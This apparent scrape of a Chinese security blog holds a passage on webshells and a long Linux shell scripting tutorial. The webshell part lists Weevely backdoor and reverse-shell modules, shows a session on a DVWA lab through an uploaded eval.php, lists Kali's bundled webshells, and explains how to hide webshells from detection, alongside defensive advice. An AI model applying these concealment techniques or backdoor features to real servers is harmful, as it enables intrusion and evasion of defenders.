emacs, nano, pico, gedit, kwrite file_edit cd file_cd ifconfig Shell_su 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667:system_procs 列出正在运行的进程.:system_extensions 收集PHP和Web服务器扩展列表.:system_info 收集系统信息.:backdoor_tcp 在TCP端口上生成一个Shell.:backdoor_reversetcp 执行反向TCP Shell.:net_scan TCP端口扫描.:net_curl 执行类似于curl的HTTP请求.:net_proxy 运行本地代理,将HTTP/HTTPS浏览器请求通过目标主机进行中继.:net_phpproxy 在目标主机上安装PHP代理.:net_ifconfig 获取网络接口地址.:net_mail 发送邮件.:file_tar 压缩或解压tar归档文件.:file_bzip2 压缩或解压bzip2文件.:file_download 从远程文件系统下载文件.:file_upload2web 自动将文件上传到Web目录并获取相应的URL.:file_touch 更改文件时间戳.:file_upload 将文件上传到远程文件系统.:file_find 查找具有给定名称和属性的文件.:file_ls 列出目录内容.:file_read 从远程文件系统读取远程文件.:file_cp 复制单个文件.:file_mount 使用HTTPfs挂载远程文件系统.:file_check 获取文件的属性和权限.:file_gzip 压缩或解压gzip文件.:file_grep 在多个文件中打印与模式匹配的行.:file_zip 压缩或解压zip文件.:file_rm 删除远程文件.:file_webdownload 下载URL.:file_clearlog 从文件中删除字符串.:file_edit 在本地编辑器上编辑远程文件.:file_cd 更改当前工作目录.:file_enum 检查路径列表中的存在和权限.:Shell_php 执行PHP命令.:Shell_sh 执行Shell命令.:Shell_su 以su方式执行命令.:audit_suidsgid 查找具有SUID或SGID标志的文件.:audit_phpconf 审计PHP配置.:audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过disable_function限制.:audit_etcpasswd 使用不同的技术读取/etc/passwd.:audit_filesystem 对弱权限进行文件系统审计.:sql_dump 多个dbms mysqldump替代.:sql_console 执行SQL查询或运行控制台.:bruteforce_sql 暴力破解SQL数据库.在此会话中,系统Shell解释器不可用,请使用以下命令替代来模拟无限制的Shell使用.ps system_procswhoami, hostname, pwd, uname system_infonmap net_scancurl net_curlifconfig net_ifconfigmail net_mailtar file_tarbzip2, bunzip2 file_bzip2touch file_touchfind file_findls, dir file_lscat file_readcp, copy file_cpgzip, gunzip file_gzipgrep file_grepzip, unzip file_ziprm file_rmwget file_webdownloadvi, vim, emacs, nano, pico, gedit, kwrite file_editcd file_cdifconfig shell_su 1234567891011121314151617181920212223weevely> :system_info+--------------------+------------------------------------------------------------------------------+| document_root | D:/phpstudy_pro/WWW || whoami | || hostname | DESKTOP-B6O1S2Q || pwd | D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads || open_basedir | || safe_mode | False || script | /dvwa/hackable/uploads/eval.php || script_folder | D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads || uname | Windows NT DESKTOP-B6O1S2Q 6.2 build 9200 (Windows 8 Business Edition) AMD64 || os | Windows NT || client_ip | 192.168.64.215 || max_execution_time | 300 || php_self | /dvwa/hackable/uploads/eval.php || dir_sep | \\ || php_version | 5.5.9 |+--------------------+------------------------------------------------------------------------------+DESKTOP-B6O1S2Q:D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads $ file_ls...dvwa_email.pngeval.php WebShells1234567891011121314151617181920212223242526272829303132333435363738394041┌──(root㉿kill3r)-[/usr/share/webshells]└─# webshells > webshells ~ Collection of webshells/usr/share/WebShells├── asp├── aspx├── cfm├── jsp├── laudanum -> /usr/share/laudanum├── perl└── php┌──(root㉿kill3r)-[/usr/share/webshells]└─# tree /usr/share/webshells/usr/share/webshells├── asp│ ├── cmd-asp-5.1.asp│ └── cmdasp.asp├── aspx│ └── cmdasp.aspx├── cfm│ └── cfexec.cfm├── jsp│ ├── cmdjsp.jsp│ └── jsp-reverse.jsp├── laudanum -> /usr/share/laudanum├── perl│ ├── perlcmd.cgi│ └── perl-reverse-shell.pl└── php ├── findsocket │ ├── findsock.c │ └── php-findsock-shell.php ├── php-backdoor.php ├── php-reverse-shell.php ├── qsd-php-backdoor.php └── simple-backdoor.php9 directories, 14 files WebShell隐藏 隐藏到日志: 修改发送数据包的头部,添加WebShell.Web服务器通常会保存访问记录到Web日志中.如果攻击者能够找到并将Web日志放置在可执行目录下,可能会获得对服务器的控制权. 隐藏到合法文件: 在文件上传漏洞中,将含有PHP代码的文件伪装成.jpg文件.可以使用@运算符来避免出现任何错误,以增加伪装的成功率. 混淆: 删除空格、换行符等字符,使代码文件看起来比较混乱,从而隐藏恶意函数名等关键信息. 使用编码或加密技术对恶意代码进行处理,使其更难以被人识别和分析. 站马分离: 文件分割:将恶意代码分割成多个文件,使其在文件系统中分散存储.这样做可以避免一次性检测和删除所有相关文件,增加了防御的复杂性. 数据注入:将恶意代码注入到合法文件或数据中,比如图片、文档或数据库中.这样做可以使恶意代码混杂在正常的数据中,降低被检测的概率. 加密/压缩:使用加密算法或压缩技术对恶意代码进行处理,使其变得无法读取或分析.攻击者可以使用自定义的解密或解压缩过程来还原恶意代码,使其在被执行前难以被检测. 动态加载:将恶意代码以库、插件或模块的形式动态加载到受害系统中.这种技术使恶意代码不会一直存在于磁盘上,减少了被杀软件扫描和检测的可能性. 内存马: 它不像传统的Web Shell一样将恶意代码写入磁盘文件中,而是将代码直接加载到服务器的内存中运行。 检测与防御 文件完整性监测:定期检查服务器和Web应用程序文件的完整性,比较当前文件与原始文件的散列值或签名.如果发现任何未经授权的更改或添加的文件,可能是恶意WebShell的迹象. 强密码策略:确保使用强密码来保护服务器和Web应用程序的账户.强密码应该包含足够长度、大小写字母、数字和特殊字符的组合,并且定期更换密码. 文件上传过滤:在Web应用程序中实施严格的文件上传过滤机制,验证上传的文件类型和内容.限制允许上传的文件扩展名,并进行文件内容的检查,以避免上传恶意WebShell文件. 输入验证和过滤:对Web应用程序的用户输入进行严格的验证和过滤,以防止任意文件上传等攻击.移除或转义用户输入中的特殊字符和命令注入漏洞,以减少WebShell风险. 实时日志监控和分析:监控Web服务器日志和应用程序日志,检查异常的请求、访问行为和错误信息.建立实时告警系统,以便及时检测和响应WebShell攻击. 安全软件和防火墙:使用安全软件和防火墙来阻止对Web服务器的未经授权访问和攻击.这些工具可以检测并阻止恶意代码的执行,同时提供实时的入侵检测和防御功能. 定期安全审计:定期对服务器和Web应用程序进行安全审计,包括代码审查、漏洞扫描和渗透测试等.这有助于及时发现和修复潜在的WebShell漏洞.","tags":["信息安全","Shell","渗透测试"]},{"title":"Linux-Shell编程从0到1","path":"/2024/02/18/693474ed/","content":"总字符数: 56.14K 代码: 42.29K, 文本: 7.16K 预计阅读时间: 3.58 小时 Shell基础Shell的简介Shell的本意是“壳”的意思,其实已经很形象地说明了shell在Linux系统中的作用。Shell就是围绕在Linux内核之外的一个“壳”程序,用户在操作系统上完成的所有任务都是通过shell与Linux系统内核的交互来实现的 。 所以也可以认为Shell是用户和Linux操作系统之间的接口。Linux中有多种shell,其中缺省使用的是bash 。 Shell最重要的功能是命令解释,从这种意义上说,Shell是一个命令解释器。Linux系统中的所有可执行文件都可以作为Shell命令来执行。Linux系统上可执行文件的分类见下表。 description:Shell是如何完成命令解释的 当用户提交了一个命令后,Shell首先判断它是否为内置命令. 如果是就通过Shell内部的解释器将其解释为系统功能调用并转交给内核执行; 若是外部命令或实用程序就试图在硬盘中查找该命令并将其调入内存,再将其解释为系统功能调用并转交给内核执行。 用户登录系统后,如果登录字符界面,将出现shell命令提示符。 “#”表示登录的用户是系统超级用户 “$”表示登录到系统的是普通用户 ​ Shell还是强大的解释行程序设计语言,它定义了各种选项和变量,几乎支持高级程序语言的所有结构,如变量、函数、表达式和循环等。 ​ 利用shell可以编写shell脚本程序,类似于Windows/DOS下的批处理文件,但是shell功能更加完善,更加强大。 归纳​ Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动、挂起、停止甚至是编写一些程序。 ​ Shell还是一个功能相当强大的编程语言,易编写,易调试,灵活性较强。Shell是解释执行的脚本语言,在Shell中可以直接调用Linux系统命令。 ​ Bash是作为用户的基本Shell(默认)。 命令学习echo输出命令echo [选项] [输出内容]选项:-e\t支持反斜线控制的字符转换 echo中间有空格需要加双引号,没有的话可以直接写,!在Linux中有特殊作用,如果非要加使用单引号 1234echo 123456echo 'hello'echo "hello world"echo 'hello world!' 控制字符 控制字符 作用 \\ 输出\\本身 \\a 输出警告音 \\b 退格键,也就是向左删除键 \\c 取消输出行末的换行符。和“-n”选项一致 \\e ESCAPE键 \\f 换页符 换行符 \\r 回车键 \\t 制表符,也就是tab键 \\v 垂直制表符 \\0nnn 按照八进制ASCII码表输出字符。其中0为数字0,nnn为三位八进制数 \\xhh 按照十六进制ASCII码表输出字符。其中hh是两位十六进制数 123456789101112131415161718192021echo -e "ab\\bc"# -e 使能解释转义字符。# ab\\bc 中的 \\b 是一个退格符,它删除紧接在其前面的一个字符。# 输出结果为 ac,因为 \\b 删除了 b 左侧的 a。echo -e "a\\tb\\tc d\\te\\tf"# \\t 表示一个制表符,用来在文本中添加水平空格。# 表示换行符,用来开始一个新行。# 输出结果是两行:第一行包含 a, b, c,每两个字符之间由制表符分隔;第二行包含 d, e, f,同样以制表符分隔。echo -e "\\x61\\t\\x62\\t\\x63 \\x64\\t\\x65\\t\\x66"# \\xHH 允许使用十六进制值 (HH) 来表示字符,其中 \\x61 是 a,\\x62 是 b,以此类推。# 输出结果与前一个例子相同:两行 a b c 和 d e f,每对字符之间由制表符分隔。echo -e "\\e[1;31m abcd\\e[0m"# \\e[1;31m 是一个ANSI转义序列,用于设置文本颜色。这里,\\e[1;31m 设置文本为高亮显示的红色。# \\e[0m 用于重置文本格式,让之后的文本恢复默认格式。# 输出结果是 abcd 以高亮的红色文本显示。 date时间命令这个命令在shell脚本中使用很频繁,最常见的几个用法如下: date +%Y :表示以四位数字格式打印年份 date +%y :表示以两位数字格式打印年份 date +%m :表示月份 date +%d :表示日期 date +%H :表示小时 date +%M :表示分钟 date +%S :表示秒 date +%w :表示星期,0~6,0表示星期天 参数说明 -d datestr : 显示 datestr 中所设定的时间 (非系统时间) –help : 显示辅助讯息 -s datestr : 将系统时间设为 datestr 中所设定的时间 -u : 显示目前的格林威治时间 –version : 显示版本编号 12345678[root@localhost ~]# date +"%Y-%m-%d %H:%M:%S"2022-05-09 12:48:29[root@localhost ~]# date -d "-1 day" +%d # -d设定时间,-1 day 表示当前 日期前一天,可以以此类推08[root@localhost ~]# date -d "-1 hour" +%H #-1 hour 表示当前时间前1小时 可以以此类推11[root@localhost ~]# date -d "-1 min" +%M #-1 min 表示当前时间前1分钟可 以以此类推57 脚本执行方式Shell脚本通常都以.sh作为后缀名,不是说不加.sh的脚本不能运行,只是大家的习惯,这样也方便辨识。 创建脚本1234567# 不是注释,是一个标志,标称写的内容为Bash,Shell脚本#!/bin/bash#The first program #一定要写完整的注释#Author:kali #一定要有良好的注释dateecho -e "Hello World!"echo -e '\\e[1;31mHello World!\\e[0m' 上面,第一行以 #!/bin/bash 开头,表示该文件使用的是bash语法,不设置该行也可以执行,但不符合规范。 #表示注释,后面跟一些该脚本的相关注释内容,以及作者、创建日期或版本等。 注释可以省略,但不建议省略,因为我们的记忆力有限,没有注释我们自己都不知自己写的脚本是用来干什么的、是什么时候写的。建议从一开始就要养成写脚本的良好习惯,方便自己也方便他人。 执行脚本123456789#赋予执行权限chmod 755 first.shchmod +x first.sh#然后可以通过sh执行first.sh#使用sh脚本命令执行脚本时,可以加 –x 选项来查看脚本的执行过程sh first.shsh -x first.shbash first.sh./ first.sh Shell基本功能Shell 元字符在Shell中有一些具有特殊的意义字符,称为 Shell元字符(shell metacharacters)。若不以特殊方式指明,Shell并不会把它们当做普通文字符使用。 下表简单介绍了常用的Shell元字符的意义: 历史命令和命令补全123456[root@localhost ~]#history [选项] [历史命令保存文件]选项: -c: 清空历史命令 -w: 把缓存中的历史命令写入历史命令保存文件 ~/.bash_history #历史命令保存器 历史命令默认会保存1000条可以在环境变量配置文件/etc/profile中进行修改 历史命令的调用 使用上、下箭头调用以前的历史命令 使用!n重复执行第n条历史命令 使用!!重复执行上一条命令 使用!字串重复执行最后一条以该字串开头的命令 命令和文件补全在Bash中,命令与文件补全是非常方便与常用的功能,我们只要在输入命令或文件时,按Tab键就会自动进行补全 命令别名与常用快捷键12[root@localhost ~]#alias 别名='原命令' #设定命令别名[root@localhost ~]#alias #查询命令别名 让别名永久有效1[root@localhost ~]#vi /root/.bashrc 删除别名1[root@localhost ~]#unalias 别名 命令执行时顺序 第一顺位执行用绝对路径或相对路径执行的命令 第二顺位执行别名 第三顺位执行Bash的内部命令 第四顺位执行按照$PATH环境变量定义的目录查找顺序找到的第一个命令 多命令顺序执行 多命令执行符 格式 作用 ; 命令1;命令2 多个命令顺序执行,命令之间没有任何逻辑联系 && 命令1&&命令2 逻辑与 当命令1正确执行,则命令2才会执行 当命令1执行不正确,则命令2不会执行 ` ` 1[root@localhost ~]#ls /root;ls /root/kali 12345678910111213#dd命令是Linux磁盘复制或数据复制,能复制特殊命令,特殊文件,也能复制分区,甚至整个硬盘,可以当做磁盘对拷对待[root@localhost ~]#dd if=输入文件 of=输出文件 bs=字节数 count=个数选项: if=输入文件 指定源文件或源设备 of=输出文件 指定目标文件或目标设备 bs=字节数 指定一次输入/输出多少字节,即把这些字节看做一个数据块 count=个数 指定输入/输出多少个数据块[root@localhost ~]# date;dd if=/dev/zero of=/root/testfile bs=1k count=100000;date #创建100mb文件需要多长时间[root@localhost ~]# ls && echo yes #第一条命令可以执行,输出yes[root@localhost ~]# ls gdafa && echo yes #第一条命令出现错误,就不会输出[root@localhost ~]# ls || echo no #当执行第一条命令,就不会输出[root@localhost ~]# ls /kali && echo yes || echo no #当ls执行报错,第2个命令不执行,执行no[root@localhost ~]# ls ./kali && echo yes || echo no #当ls执行第2个命令,不执行no Bash常用快捷键 Shell的重定向Linux下系统打开3个文件,即标准输入、标准输出和标准错误输出。 用户的shell将键盘设为默认的标准输入,默认的标准输出和标准错误输出为屏幕。 也就是,用户从键盘输入命令,然后将结果和错误消息输出到屏幕。 所谓的重定向,就是不使用系统默认的标准输入/输出,而是重新指定,因此重定向分为输入重定向、输出重定向和错误输出重定向要实现重定向就需要了解重定向操作符,shell就是根据重定向操作符来决定重定向操作的。 输入重定向12345[root@localhost ~]#wc [选项] [文件名]选项: -c 统计字节数 -w 统计单词数 -l 统计行数 输入重定向用于改变命令的输入源,利用输入重定向,就可以将一个文件的内容作为命令的输入,而不从键盘输入。(CTRL+D) 用于输入重定向的操作符有<和<<。例如: 12[root@localhost ~]#wc </etc/shadow#这里用wc命令统计输入给它的文件/etc/inittab的行数、单词数和字符数。 输出重定向输出重定向不是将命令的输出结果在屏幕上输出,而是输出到一个指定文件中。 在Linux下输出重定向用得很多。例如,某个命令的输出很长,一个屏幕无法显示完毕,这时可以将命令的输出指定到一个文件,然后用more命令查看这个文件,从而得到命令输出的完整信息。 类型 符号 作用 标准输出重定向 命令 >文件 命令 >>文件 以覆盖的方式,把命令的正确输出输出到指定的文件或设备当中 以追加的方式,把命令的正确输出输出到指定的文件或设备当中 标准错误输出重定向 错误命令 2>文件 错误命令 2>>文件 以覆盖的方式,把命令的错误输出输出到指定的文件或设备当中 以追加的方式,把命令的错误输出输出到指定的文件或设备当中 用于输出重定向的操作符有>和>>。例如: 1234567ps -ef >ps.txt#这条命令将ps -ef输出的系统运行进程信息全部输入到了ps.txt文件,而不是输出到屏幕,可以用more命令查看ps.txt文件中系统运行的进程信息。more file1 file2 file3 >file#其中,more命令用于查看文件的内容,上面的命令是将file1/file2/file3的内容全部输出到file文件中,类似于文件内容的合并。如果在“>”后面指定的文件不存在,shell就会自动重建一个;如果文件存在,那么这个文件原有的内容将被覆盖;如果不想覆盖存在的文件,可以使用“>>”操作符。例如ls -al /etc/* >>/root/install.log#这条命令 w将/etc目录及其子目录下的所有文件信息追加到/root/install.log文件的后面,/root/install.log文件原来的内容仍然存在。 错误重定向实际工作中,正确输出和错误输出同时保存 错误重定向和标准输出重定向一样,可以使用操作符2>和2>>实现对错误输出的重定向 命令 > 文件 2>&1 以覆盖的方式,把正确输出和错误输出都保存到同一个文件当中 命令 >> 文件 2>&1 以追加的方式,把正确输出和错误输出都保存到同一个文件当中 命令 &>文件 以覆盖的方式,把正确输出和错误输出都保存到同一个文件当中 命令 &>>文件 以追加的方式,把正确输出和错误输出都保存到同一个文件当中 命令 >>文件1 2>>文件2 把正确的输出追加到文件1中,把错误的输出追加到文件2中 123[root@localhost ~]# tar zxvf text.tar.gz 2>error.txt#其中,tar是打包命令,可以在屏幕上看到tar的解压过程。如果“text.tar.gz”是个损坏的压缩包,就会把错误信息输出到error.txt文件。[root@localhost ~]# ls &>/dev/null #不保存任何错误,执行就行 Shell的管道管道可以把很多命令连接起来,可以把第1个命令的输出当作第2个命令的输入,第2个命令的输出当作第3个命令的输入,依次类推。因此,管道的作用就是把一个命令的输出当作下一个命令的输入,而不经过任何中间文件。 通过管道符“|”可以建立管道连接 示例12345[root@localhost ~]# ls -al /etc/* |more#这条命令表示将/etc目录以及子目录下的所有文件分屏显示。[root@localhost ~]# ps -ef| grep httpd|wc -l#这个命令用户查看系统中正在运行的httpd进程,并统计httpd的进程数。[root@localhost ~]# pstree|grep bash Shell的通配符通配符主要是为了方便用户对文件或目录的描述,例如,当用户仅仅需要以.sh结尾的文件时,使用通配符就能很方便地实现。各个版本的shell都有通配符,这些通配符是一些特殊字符,用户可以在命令行的参数中使用这些字符,进行文件或者路径名的匹配。Shell将把与命令行中指定的匹配规则符合的所有文件名或者路径作为命令的参数,然后执行这个命令。 Bash中常用的通配符有* ? [] *匹配任意一个或多个字符 12345678[root@localhost ~]# ls *.txt# 这条命令列出当前目录中所有以“.txt”结尾的文件(除去以“.”开头的文件)。[root@localhost ~]# cp doc/* /opt# 这条命令表示将doc目录下的所有文件(除去以“.”开头的文件)复制到/opt目录下。[root@localhost ~]# ls -al /etc/*/*.conf# 这条命令列出/etc目录的子目录下所有以“.conf”结尾的文件。在/etc目录下以“.conf”结尾的文件不会列出 ?匹配任意单一字符 12345[root@localhost ~]# ls ab?.txt# 这条命令列出当前目录下以ab开头,随后一个字母是任意字符,接着以“.txt”结尾的文件。[root@localhost ~]# ls ab??.txt# 这条命令列出当前目录下以ab开头,随后两个字母是任意字符,接着以“.txt”结尾的文件。 []匹配任何包含在方括号内的单子符 [] 匹配中括号中任意一个字符。例如[abc]代表一定匹配一个字符,或者是a,或者是b,或者是c [-]\t匹配中括号中任意一个字符,-代表一个范围。例如:[a-z]代表匹配一个小写字母 [^] 逻辑非,表示匹配不是中括号内的一个字符。例如:[^0-9]代表匹配一个不是数字的字符 1234567[root@localhost ~]# ls /dev/sda[12345]/dev/sda1 /dev/sda2 /dev/sda3 /dev/sda4 /dev/sda5# 上面的命令列出了在/dev目录下以sda开头,第4个字符是1/2/3/4/5的所有文件。[root@localhost kali]# ls [Yy]*YASUO yasuser yasuser.bz2 yasuser.zip[root@localhost ~]# ls /dev/sda[1-5]# 在方括号“1-5”给出了匹配的范围,与上面一条命令完全等效。 通配符的组合使用 12345[root@localhost ~]# ls [0-9]?.conf# 这条命令列出当前目录下以数字开头,随后一个是任意字符,接着以“.conf”结尾的所有文件。[root@localhost ~]# ls [xyz]*.txt# 这条命令列出当前目录下以x/y/z开头,最后以“.txt”结尾的文件。 Shell中其他特殊符号在bash中有很多特殊字符,这些字符本身就具有特殊含义。如果在shell的参数中使用它们,就会出现问题。Linux中使用了“引用”技术来忽略这些字符的特殊含义,引用技术就是通知shell将这些特殊字符当作普通字符处理。Shell中用于引用的字符有转义字符\\、单引号''、双引号""。 转义字符 如果将\\放到特殊字符前面,shell就会忽略这些特殊字符的原有含义,把它们当作普通字符对待. 示例12345[root@localhost ~]# ls[root@localhost ~]# mv abc\\?\\* abc[root@localhost ~]# mv C\\:\\\\backup backup # C:\\backup# 上面是将abc?*重名名为abc,将C:\\backup重命名为backup。因为文件名中包含特殊字符,所以都使用了转义字符“\\”。 单引号如果将字符串放到一对单引号之间,那么字符串中所有字符的特殊含义将被忽略. 示例123[root@localhost ~]# mv C\\:\\\\backup backup[root@localhost ~]# mv 'C:\\backup' backup#上面两条命令完全等效。 双引号双引号的引用与单引号基本相同,包含在双引号内的大部分特殊字符可以当作普通字符处理,但是仍有一些特殊字符即使用双引号括起来,也仍然保留自己的特殊含义,比如$、\\,’ 1234567[root@localhost ~]# str="The \\$SHELL Current shell is $SHELL"[root@localhost ~]# str1="\\$$SHELL"[root@localhost ~]# echo $strThe $SHELL Current shell is /bin/bash[root@localhost ~]# echo $str1$/bin/bash# 从上面的输出可以看出,“$”和“\\”在双引号内仍然保留了特殊含义。 1234[root@localhost ~]# str="This hostname is 'hostname'"[root@localhost ~]# echo $strThis hostname is 'hostname'# 上面的输出中,字符“’”在双引号中也保留了自己的特殊含义。 123456789[root@localhost ~]# name=kali # 声明变量[root@localhost ~]# echo $name # 输出变量kali[root@localhost ~]# echo '$name' # 输出内容$name[root@localhost ~]# echo "$name" # 输出变量kali[root@localhost ~]# echo $(date) # 传输变量时间2021年 12月 24日 星期五 22:08:23 CS Bash变量什么是变量变量是计算机内存的单元,其中存放的值可以改变。当Shell脚本需要保存一些信息时,如一个文件名或是一个数字,就把它存放在一个变量中。每个变量有一个名字,所以很容易应用它。使用变量可以保存有用信息,使系统获知用户相关设置,变量也可以用于保存暂时信息。 变量设置规则 变量名称可以由字母、数字和下划线组成,但是不能以数字开头。如果变量名是2name则是错误的。 在Bash中,变量的默认类型都是字符型,如果要进行数值运算,则必须指定变量类型为数值型。 变量用等号连接值,等号左右两侧不能有空格。 变量的值如果有空格,需要使用单引号或双引号包括。 在变量的值中,可以使用\\转义符。 如果需要增加变量的值,那么可以进行变量值的叠加。不过变量需要用双引号包含$变量名或用${变量名}包含。 如果是把命令的结果作为变量值赋予变量,则需要使用反引号或$()包含命令。 环境变量名建议大写,便于区分。 变量分类 用户自定义变量(最常用的) 环境变量:这种变量中主要保存的是和系统操作环境相关的数据 位置参数变量:这种变量主要是用来向脚本当中传递参数或数据的,变量名不能自定义,变量作用是固定的 预定义变量:是Bash中已经定义好的变量,变量名不能自定义,变量作用也是固定的。 用户自定义变量(本地变量)12[root@localhost ~]# name="kali" # 变量定义,有空格用双引号或单引号括起来 变量叠加12345678[root@localhost ~]# aa=123# 变量叠加的一种方法[root@localhost ~]# aa="$aa"456 # 变量叠加的一种方法[root@localhost ~]# aa=${aa}789# 输出变量[root@localhost ~]# echo $aa123456789 变量调用在脚本中应用变量时需要加上符号$。 12# 调用变量 [root@localhost ~]# echo $name 变量查看123# 查看系统的所有变量[root@localhost ~]# set[root@localhost ~]# set | grep "name" 变量删除12# 删除变量 [root@localhost ~]# unset $aa 其他示例123456789101112131415161718192021222324252627282930313233343536# 写入下面的内容vim variable.sh #! /bin/bash## In this script we will user variable.## Writen by kali 2022-09-15d=`date +%H:%M:%S`echo "The script begin at $d."echo "NOW We'll sleep 5 seconds."sleep 5d1=`date +%H:%M:%S`echo "The script end at $d1."# 数字运算 # 写入下面内容vim sum.sh#! /bin/bash## For get the sum of two number.## Writen by kali 2022-09-15a=1b=2sum=$[$a+$b]echo "$a+$b=$sum"# 数字计算要用[]括起来,并且前面要加上符号$# 和用户交互vim read.sh#! /bin/bash## Using 'read' in shell script.## Writen by kali 2022-09-15read -p "Please input a number:" xread -p "Please input a number:" ysum=$[$x+$y]echo "the sum of two numbers is :$sum" 环境变量环境变量是什么用户自定义变量只在当前的Shell中生效,而环境变量会在当前Shell和这个Shell的所有子Shell当中生效。如果把环境变量写入相应的配置文件,那么这个环境变量就会在所有Shell中生效。 设置环境变量123export 变量名=变量值 # 申明全局变量env # 专门查询环境变量 重点看PATHunset 变量名 # 删除变量 1234567891011121314151617181920# 有一个概念需要了解父shell和子shell# 进入一个子shell[root@localhost ~]# bash# 查看树形结构进程,可以查看子shell[root@localhost ~]# pstree# 退出子shell[root@localhost ~]# exit# 本地变量[root@localhost ~]# name=kali# 全局变量[root@localhost ~]# export age=18# 本地变量[root@localhost ~]# sex=nan # 定义全局变量[root@localhost ~]# export sex# 查看变量[root@localhost ~]# set |grep sex# 进入子shell[root@localhost ~]# bash[root@localhost ~]# set 系统常见环境变量123456789101112131415# PATH:系统查找命令的路径# 环境变量[root@localhost ~]# echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin[root@localhost sh]# cp ./hello.sh /root/bin[root@localhost ~]# hello.sh Hello World!# PATH变量叠加PAHT="$PATH":/root/sh[root@localhost ~]# PATH="$PATH":/root/sh[root@localhost ~]# hello.sh Hello World![root@localhost ~]# echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/sh PS1:定义系统提示符的变量 转义序列 描述 \\d 显示日期,格式为“星期 月 日” \\h 显示简写主机名。如默认主机名“localhost” \\t 显示24小时制时间,格式为“HH:MM:SS” \\T 显示12小时制时间,格式为“HH:MM:SS” \\A 显示24小时制时间,格式为“HH:MM” \\u 显示当前用户名 \\w 显示当前所在目录的完整名称 \\W 显示当前所在目录的最后一个目录 \\# 显示这是当前会话中执行的第几个命令 \\$ 显示提示符。如果是root用户会显示“#”,如果是普通用户会显示“$” 12345678[root@localhost ~]# echo $PS1[\\u@\\h \\W]\\$[root@localhost ~]# PS1='[\\u@\\t\\w]\\$ '[root@10:56:03~]# cd /usr/local/src[root@10:56:49/usr/local/src]# PS1='[\\u@\\@ \\h \\#\\W]\\$ '[root@10:57 上午 localhost 31src]# PS1='[\\u@\\h \\W]\\$ '# 临时的修改,重启或者重新登录就修改回去了 环境变量配置文件source命令12345678910# 在Linux中,source 命令或者点命令(.)被用来读取并执行指定文件中的命令。# 通常这类文件包含了环境变量的赋值。# 使用 source 或者点命令执行文件后,文件中定义的环境变量将会在当前会话中即时生效,而无需重新启动或退出当前会话。# 这通常用于修改环境变量配置文件,如 ~/.bashrc、~/.profile 或者是其他自定义的脚本文件。[root@localhost ~]# source /path/to/configuration_file# 或者[root@localhost ~]# . /path/to/configuration_file 环境变量配置文件简介环境变量配置文件中主要是定义对系统的操作环境生效的系统默认环境变量,比如PATH(环境变量)/HISTSIZE(历史命令)/PSI(提示符)/HOSTNAME(系统名)等默认环境变量 环境变量主要有: 12345/etc/profile /etc/profile.d/*.sh~/.bash_profile~/.bashrc/etc/bashrc 在etc中对所有用户都生效,~只对家目录生效 环境变量配置文件作用description:配置文件的优先级 /etc/profile的作用123456789USER变量:LOGNAME变量:MAIL变量:PATH变量:HOSTNAME变量:HISTSIZE变量:umask:# 注意:写在后面的环境变量会覆盖前面的变量,除非使用变量叠加 其他配置文件和登录信息注销时生效的环境变量配置文件1~/.bash_logout #可以把命令写到这个文件中,系统在注销的时候就会执行这些命令 其他配置文件1~/.bash_history #历史命令,排错使用 Shell登录信息1234567891011121314151617181920本地终端欢迎信息:/etc/issue 转义符 作用 \\d 显示当前系统日期 \\s 显示操作系统名称 \\l 显示登录的终端号,这个比较常用 \\m 显示硬件体系结构,如i386,i686等 显示主机名 \\o 显示域名 \\r 显示内核版本 \\t 显示当前系统时间 \\u 显示当前登录用户的序列号 远程终端欢迎信息:/etc/issue.net(不认上面的转义符)转义符在/etc/issue.net文件中不能使用是否显示此欢迎信息,由ssh的配置文件/etc/ssh/sshd_config决定,加入“Banner /etc/issue.net”行才能显示(记得重启ssh服务)重启服务:service sshd restart #重启sshd服务登陆后欢迎信息:/etc/motd#不管是本地登陆,还是远程登陆,都可以显示此欢迎信息 位置参数变量 位置参数变量 作用 $n n为数字,$0代表命令本身,$1-$9代表第一到第九个参数,十以上的参数需要用大括号包含,如${10} $* 这个变量代表命令行中所有的参数,$*把所有的参数看成一个整体 $@ 这个变量也代表命令行中所有的参数,不过$@把每个参数区分对待 $# 这个变量代表命令行中所有参数的个数 123456789101112131415161718[root@192 ~]# cd sh[root@192 sh]# lshello.sh h.sh square.sh[root@192 sh]# vi parameters.sh#!/bin/bashecho $0echo $1echo $2echo $3# 修改脚本增加执行权限[root@192 sh]# chmod +x parameters.sh [root@192 sh]# sh parameters.sh parameters.sh[root@192 sh]# sh parameters.sh 123 123 456 parameters.sh123123456 关于环境变量的脚本12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364# 示例1(求和):sum.sh#!/bin/bash# author:kalinum1=$1num2=$2sum=$(($num1+$num2))# 变量sum的和是num1加num2echo $sum# 打印变量sum的值# 另一种写法#!/bin/bashsum=$(($1+$2))echo "sum is :$sum" [root@192 sh]# ./sum.sh 33 4578# 示例2:#!/bin/bashecho "A total of $# parameters" #使用$#代表所有参数的个数echo "The parameter is: $*" #使用$*代表所有的参数echo "The parameter is: $@" #使用$@也代表所有参数# 实际我按下面的写[root@192 sh]# vi parameters1.sh#!/bin/bashecho $#echo $*echo $@[root@192 sh]# parameters1.sh-bash: /root/sh/parameters1.sh: 权限不够[root@192 sh]# chmod 755 parameters1.sh[root@192 sh]# parameters1.sh 0[root@192 sh]# parameters1.sh 11 22 33 44 55 66 #查看参数有几个611 22 33 44 55 6611 22 33 44 55 66# 示例3:$*与$@的区别 [root@192 sh]# vi parameters2.sh[root@192 sh]# chmod 755 parameters2.sh[root@192 sh]# parameters2.sh 1 2 3 4The parameters is : 1 2 3 4The parameter1 is:1The parameter2 is:2The parameter3 is:3The parameter4 is:4[root@192 sh]# cat parameters2.sh#!/bin/bashfor i in "$*"#$*中的所有参数看成是一个整体,所以这个for循环只会循环一次 do echo "The parameters is : $i" donex=1for y in "$@"#$@中的每个参数都看成是独立的,所以"$@"中有几个参数,就会循环几次 do echo "The parameter$x is:$y" x=$(($x+1)) done 预定义变量 预定义变量 作用 $? 